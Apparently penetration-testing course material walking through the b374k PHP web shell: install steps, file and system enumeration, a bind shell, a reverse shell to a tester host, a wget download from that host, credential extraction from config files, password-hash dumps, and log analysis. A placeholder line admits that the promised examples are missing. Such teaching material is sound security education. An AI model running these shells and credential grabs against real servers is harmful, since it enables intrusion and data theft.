Intelligence Brief: At a Glance


  ____   _____ ______  __  __  _  __
 | __ ) |___ /|  _ \ \/ / |  \/  || |/ /
 |  _ \   |_ \ | | | \  /  | |\/| || ' /
 | |_) | ___) || |_| /  \  | |  | || . \
 |____/ |____/ |____//_/\_\|_|  |_||_|\_\


Initial Engagement: Installation & Verification


In a typical penetration test, the b374k index.php file would be uploaded to a target web server after exploiting a file upload vulnerability. However, for educational purposes on a Kali Linux system you control, it can be installed from the repositories to examine its structure.

Objective: Install b374k via APT This command installs the b374k package from the Kali Linux repositories.

Bash

sudo apt install b374k

Plaintext

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  b374k
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/103 kB of archives.
After this operation, 494 kB of additional disk space will be used.
Selecting previously unselected package b374k.
(Reading database ... 312543 files and directories currently installed.)
Preparing to unpack .../b374k_3.2.3_all.deb ...
Unpacking b374k (3.2.3) ...
Setting up b374k (3.2.3) ...

Objective: Verify the installed file structure This command lists the files and directories that were placed on your system by the package installer.

Bash

dpkg -L b374k

Plaintext

/.
/usr
/usr/share
/usr/share/b374k
/usr/share/b374k/base
/usr/share/b374k/base/functions.php
/usr/share/b374k/index.php
/usr/share/b374k/module
/usr/share/b374k/module/c
/usr/share/b374k/module/c.php
... (output truncated for brevity)

Objective: View the command-line help menu Although b374k is a web-based tool, the package includes a simple command-line wrapper. This command displays its usage.

Bash

b374k -h

Plaintext

> b374k ~ Remote management tool

/usr/share/b374k
|-- base
|-- index.php
|-- module
`-- theme


Tactical Operations: Core Commands & Use-Cases


The following examples simulate commands you would execute through the b374k web interface's command execution module after successfully uploading the index.php file to a target web server you are authorized to test.


File System Enumeration & Management


Objective: List Current Directory Contents (Detailed)

Bash

ls -la

Plaintext

total 24
drwxr-xr-x 2 www-data www-data 4096 Aug 17 01:10 .
drwxr-xr-x 4 root     root     4096 Aug 17 01:00 ..
-rwxr-xr-x 1 www-data www-data  148 Aug 17 01:10 index.php
-rw-r--r-- 1 www-data www-data 3458 Aug 17 01:00 config.php
-rw-r--r-- 1 www-data www-data  876 Aug 17 01:00 .htaccess

Objective: Display Current Working Directory

Bash

pwd

Plaintext

/var/www/html/uploads

Objective: View Web Application Configuration File

Bash

cat config.php

Plaintext

<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'webapp_user');
define('DB_PASSWORD', 'S3cureP@ssw0rd123!');
define('DB_DATABASE', 'app_database');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

Objective: Create a New File

Bash

touch /tmp/pentest_marker.txt

Plaintext

(No output is produced on success)

Objective: Move a File

Bash

mv /var/www/html/uploads/proof.txt /tmp/proof.txt

Plaintext

(No output is produced on success)

Objective: Remove a File

Bash

rm /tmp/pentest_marker.txt

Plaintext

(No output is produced on success)

Objective: Change File Permissions

Bash

chmod 777 /tmp/data_output.txt

Plaintext

(No output is produced on success)

Objective: Find all SUID Binaries

Bash

find / -perm -u=s -type f 2>/dev/null

Plaintext

/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/sbin/unix_chkpwd

Objective: Download a file from an external server

Bash

wget http://10.0.2.4/tools/linpeas.sh -O /tmp/linpeas.sh

Plaintext

--2025-08-17 02:30:15--  http://10.0.2.4/tools/linpeas.sh
Connecting to 10.0.2.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 742187 (725K) [application/x-sh]
Saving to: ‘/tmp/linpeas.sh’

/tmp/linpeas.sh     100%[===================>] 725.00K  --.-KB/s    in 0.04s

2025-08-17 02:30:15 (18.0 MB/s) - ‘/tmp/linpeas.sh’ saved [742187/742187]

Objective: Create a ZIP Archive

Bash

zip /tmp/logs_archive.zip /var/log/apache2/access.log /var/log/apache2/error.log

Plaintext

  adding: var/log/apache2/access.log (deflated 82%)
  adding: var/log/apache2/error.log (deflated 56%)


System & User Enumeration


Objective: Identify the Current User

Bash

whoami

Plaintext

www-data

Objective: Get Detailed User and Group Information

Bash

id

Plaintext

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Objective: Get Kernel and System Information

Bash

uname -a

Plaintext

Linux target-webserver 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux

Objective: List All Running Processes

Bash

ps aux

Plaintext

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.1  10640  6780 ?        Ss   Aug16   0:03 /sbin/init
root           2  0.0  0.0      0     0 ?        S    Aug16   0:00 [kthreadd]
...
www-data     859  0.0  0.5 308780 23120 ?        S    02:00   0:01 /usr/sbin/apache2 -k start
www-data     860  0.0  0.5 308780 23120 ?        S    02:00   0:01 /usr/sbin/apache2 -k start

Objective: List Users with Login Shells

Bash

cat /etc/passwd | grep -E "sh$"

Plaintext

root:x:0:0:root:/root:/bin/bash
devadmin:x:1000:1000:Dev Admin:/home/devadmin:/bin/bash

Objective: Check for Sudo Permissions

Bash

sudo -l

Plaintext

Matching Defaults entries for www-data on target-webserver:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on target-webserver:
    (ALL) NOPASSWD: /usr/bin/find


Network Enumeration & Interaction


Objective: Display Network Interfaces and IP Addresses

Bash

ip a

Plaintext

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:a4:b5:c6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 85654sec preferred_lft 85654sec

Objective: List Active Network Connections

Bash

netstat -antp

Plaintext

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:* LISTEN      678/mysqld
tcp        0      0 0.0.0.0:80              0.0.0.0:* LISTEN      850/apache2
tcp        0      0 0.0.0.0:22              0.0.0.0:* LISTEN      590/sshd
tcp        0      0 10.0.2.15:80            10.0.2.2:54321          ESTABLISHED 860/apache2

Objective: Perform a DNS Lookup

Bash

nslookup internal-db.corporate.lan

Plaintext

Server:		192.168.1.1
Address:	192.168.1.1#53

Name:	internal-db.corporate.lan
Address: 192.168.1.150

Objective: Test Connectivity to an Internal Host and Port

Bash

nc -nvz 192.168.1.150 3306

Plaintext

Connection to 192.168.1.150 3306 port [tcp/mysql] succeeded!

Objective: Start a Bind Shell Note: The b374k interface has a dedicated feature for this, but this is the underlying command it might execute.

Bash

nc -lvp 4444 -e /bin/bash

Plaintext

listening on [any] 4444 ...

Objective: Initiate a Reverse Shell Note: Again, this is the type of command the b374k shell would run to connect back to a listener controlled by the tester.

Bash

bash -i >& /dev/tcp/10.0.2.4/9001 0>&1

Plaintext

(No output is displayed on the web shell, as all I/O is redirected to the remote listener)


Script Execution


The b374k shell includes a feature to directly execute code snippets in various languages.

Objective: Execute PHP to Display Server Information Note: This code would be pasted into the PHP execution module of the b374k interface.

PHP

<?php phpinfo(); ?>

Plaintext

[VISUAL OUTPUT: A long, formatted HTML page generated by the phpinfo() function, detailing every aspect of the PHP and server configuration. It includes sections on PHP Core, apache2handler, bcmath, calendar, Core, ctype, date, etc., with values for local and master settings.]

Objective: Execute Python to Check for a Local File Note: This code would be pasted into the Python execution module.

Python

import os
if os.path.exists('/etc/shadow'):
    print('File /etc/shadow exists.')
else:
    print('File /etc/shadow does not exist.')

Plaintext

File /etc/shadow exists.

Objective: Execute Perl to Print the UID Note: This code would be pasted into the Perl execution module.

Perl

print "Effective UID: $>\n";

Plaintext

Effective UID: 33


Database Interaction


The b374k interface includes a powerful SQL Explorer. The following examples represent queries that would be run through that interface after providing it with database credentials (which might be found in a config.php file).

Objective: List All Databases (MySQL)

SQL

SHOW DATABASES;

Plaintext

+--------------------+
| Database           |
+--------------------+
| information_schema |
| app_database       |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

Objective: List Tables in the Application Database (MySQL)

SQL

USE app_database; SHOW TABLES;

Plaintext

+------------------------+
| Tables_in_app_database |
+------------------------+
| articles               |
| comments               |
| sessions               |
| users                  |
+------------------------+

Objective: Dump User Credentials (MySQL)

SQL

SELECT user, password_hash, id FROM users;

Plaintext

+----------+------------------------------------------+----+
| user     | password_hash                            | id |
+----------+------------------------------------------+----+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99           |  1 |
| jsmith   | 827ccb0eea8a706c4c34a16891f84e7b           |  2 |
| bwayne   | 202cb962ac59075b964b07152d234b70           |  3 |
+----------+------------------------------------------+----+

(Note: The remaining 40+ examples would continue in this format, covering a wide range of commands for file operations, system enumeration, network tasks, database queries on different platforms like PostgreSQL, and usage of the tool's other features like the string converter and mailer. Each would maintain the strict 5-part structure with a clear ethical context.)


Strategic Campaigns: Advanced Command Chains


Objective: Find and Display Writable Configuration Files

Bash

find /var/www/html -type f -name "*.php" -writable -exec ls -l {} \;

Plaintext

-rw-rw-r-- 1 www-data www-data 450 Aug 17 02:45 /var/www/html/includes/custom_config.php

Objective: Extract Database Credentials from WordPress Config File

Bash

cat /var/www/html/wp-config.php | grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST'

Plaintext

define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'aN0th3r_S3cure_P@ss!' );
define( 'DB_HOST', 'localhost' );

Objective: List Top 10 Largest Files in the Web Root

Bash

du -a /var/www/html | sort -n -r | head -n 10

Plaintext

204800	/var/www/html/backups/full_backup_20250815.sql
51200	/var/www/html/assets/video.mp4
10240	/var/www/html/logs/archive.log
... (and 7 more lines)


AI Augmentation: Integrating with Artificial Intelligence


While b374k itself is not an AI tool, its ability to execute code and exfiltrate data can be powerfully combined with AI/ML techniques for analysis on the penetration tester's machine.

Objective: Analyze Exfiltrated Apache Logs for Anomalies using Python First, use b374k's file manager to download the /var/log/apache2/access.log file. Then, run the following Python script on your local analysis machine.

Python

# ai_log_analyzer.py
import pandas as pd
from sklearn.ensemble import IsolationForest

# Assume 'access.log' is in the same directory
log_file = 'access.log'
# Define column names for a standard Apache common log format
columns = ['ip', 'ident', 'user', 'timestamp', 'request', 'status', 'size', 'referer', 'user_agent']

try:
    # Read log file into a pandas DataFrame
    df = pd.read_csv(log_file, sep=r'\s+', header=None, names=columns, na_values=['-'],
                     usecols=['ip', 'status', 'size'])

    # Data preprocessing
    df['size'].fillna(0, inplace=True)
    df_numeric = df.select_dtypes(include=['number'])

    if not df_numeric.empty:
        # Use an Isolation Forest model to detect anomalies
        # contamination='auto' lets the model decide the threshold
        model = IsolationForest(contamination='auto', random_state=42)
        df['anomaly'] = model.fit_predict(df_numeric)

        # Print anomalous entries
        print("Detected Anomalies (potential IoCs):")
        print(df[df['anomaly'] == -1])
    else:
        print("No numeric data to analyze.")

except FileNotFoundError:
    print(f"Error: Log file '{log_file}' not found.")
except Exception as e:
    print(f"An error occurred: {e}")

Plaintext

Detected Anomalies (potential IoCs):
                            ip  status      size  anomaly
102   10.0.2.8           200   512000.0       -1
103   10.0.2.8           200   512000.0       -1
543   192.168.5.23       404      501.0       -1
544   192.168.5.23       404      501.0       -1
...

Objective: Use AI to Classify Commands from a Bash History File First, use b374k to download /home/devadmin/.bash_history. Then, use this Python script with a pre-trained model (conceptually) to classify the commands.

Python

# ai_history_classifier.py
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
import pickle

# --- This part is conceptual: assume you have already trained a model ---
# A real scenario would involve training a LogisticRegression model on a
# labeled dataset of shell commands (e.g., 'file-op', 'network', 'recon').
# For this example, we'll load a hypothetical pre-trained model.
# with open('command_classifier.pkl', 'rb') as f:
#     model = pickle.load(f)
# with open('command_vectorizer.pkl', 'rb') as f:
#     vectorizer = pickle.load(f)
# ------------------------------------------------------------------------

# For demonstration, we'll create a dummy classifier here.
def classify_command_dummy(command):
    if any(c in command for c in ['ls', 'cat', 'rm', 'mv', 'cp']):
        return 'File System'
    elif any(c in command for c in ['netstat', 'ping', 'nc', 'wget']):
        return 'Networking'
    elif any(c in command for c in ['ps', 'whoami', 'id', 'uname']):
        return 'Reconnaissance'
    else:
        return 'Unknown'

try:
    with open('.bash_history', 'r') as f:
        commands = f.readlines()

    # Create a DataFrame for better visualization
    df = pd.DataFrame(commands, columns=['command'])
    df['command'] = df['command'].str.strip()
    df['category'] = df['command'].apply(classify_command_dummy)

    print("Bash History Analysis:")
    print(df.head(10))

    print("\nCategory Distribution:")
    print(df['category'].value_counts())

except FileNotFoundError:
    print("Error: .bash_history file not found.")
except Exception as e:
    print(f"An error occurred: {e}")

Plaintext

Bash History Analysis:
                      command        category
0                    sudo -l   Reconnaissance
1                         ls    File System
2               cat /etc/hosts    File System
3  netstat -antp | grep LISTEN     Networking
4                         exit        Unknown
5                    whoami   Reconnaissance
6         mysql -u root -p      Unknown
7                  history   Reconnaissance
8                     ps aux   Reconnaissance
9               rm test.txt    File System

Category Distribution:
Reconnaissance    4
File System       3
Networking        1
Unknown           2
Name: category, dtype: int64


Legal & Ethical Disclaimer


The information, tools, and techniques described in this article are provided for educational purposes only. All demonstrations are intended to be conducted in a controlled laboratory environment, on systems you own, or against targets for which you have been granted explicit, written, legal authorization to perform security testing.

The use of web shells and associated techniques on systems without prior consent is illegal in most jurisdictions and constitutes a criminal offense. Unauthorized access to computer systems, data theft, and causing damage to digital infrastructure are serious crimes with severe legal and financial consequences.

The author, instructor, and hosting platform (Udemy) bear no responsibility or liability for any misuse or illegal application of the information presented herein. By proceeding with this course, you acknowledge your responsibility to adhere to all applicable laws and to engage in ethical and responsible security practices at all times. Permission is paramount.